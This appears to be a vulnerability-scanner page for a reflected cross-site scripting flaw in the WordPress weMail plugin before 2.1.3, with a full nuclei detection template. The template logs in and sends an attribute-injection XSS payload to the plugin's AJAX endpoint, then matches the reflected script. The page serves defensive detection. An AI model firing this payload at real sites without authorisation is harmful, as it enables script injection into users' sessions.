WordPress weMail < 2.1.3 - Cross-Site Scripting

highseverity

7.1CVSS score

0.5%likelihood of exploitation, next 30 days

43%of all CVEs are less likely

Readycheck to confirm it

The weMail plugin for WordPress < 2.1.3 is vulnerable to reflected cross-site scripting. The plugin does not properly escape a user-supplied parameter before reflecting it into an HTML attribute on a non-nonce-protected AJAX response.

Impact

Successful exploitation requires logged-in users to click a malicious link, but allows unauthenticated attackers to execute arbitrary scripts or change web page contents on authenticated user sessions.

Fix

Upgrade to weMail version 2.1.3 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin-ajax.php?action=wemail_preview&form_id=x%22%20onmouseover%3D%22alert(document.domain)%22%20zz%3D%22
Positive when: contains_all(body, "onmouseover=\"alert(document.domain)\"", "preview-wemail-form") and regex("(?i)text/html", content_type) and status_code == 200

Run it with nuclei: nuclei -id CVE-2026-8089 -u <target>

The full check

id: CVE-2026-8089

info:
  name: WordPress weMail < 2.1.3 - Cross-Site Scripting
  author: anirbala98
  severity: high
  description: |
    The weMail plugin for WordPress < 2.1.3 is vulnerable to reflected cross-site scripting. The plugin does not properly escape a user-supplied parameter before reflecting it into an HTML attribute on a non-nonce-protected AJAX response.
  impact: |
    Successful exploitation requires logged-in users to click a malicious link, but allows unauthenticated attackers to execute arbitrary scripts or change web page contents on authenticated user sessions.
  remediation: |
    Upgrade to weMail version 2.1.3 or later.
  reference:
    - https://wpscan.com/vulnerability/f00c1853-a4b2-4e91-99b3-fed8acbe6da7/
    - https://wordpress.org/plugins/wemail/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-8089
    epss-score: 0.0049
    epss-percentile: 0.42479
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: weDevs
    product: weMail
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wemail/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,wemail,xss,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=/wp-admin/&testcookie=1

      - |
        GET /wp-admin/admin-ajax.php?action=wemail_preview&form_id=x%22%20onmouseover%3D%22alert(document.domain)%22%20zz%3D%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "onmouseover=\"alert(document.domain)\"", "preview-wemail-form")'
          - 'regex("(?i)text/html", content_type)'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from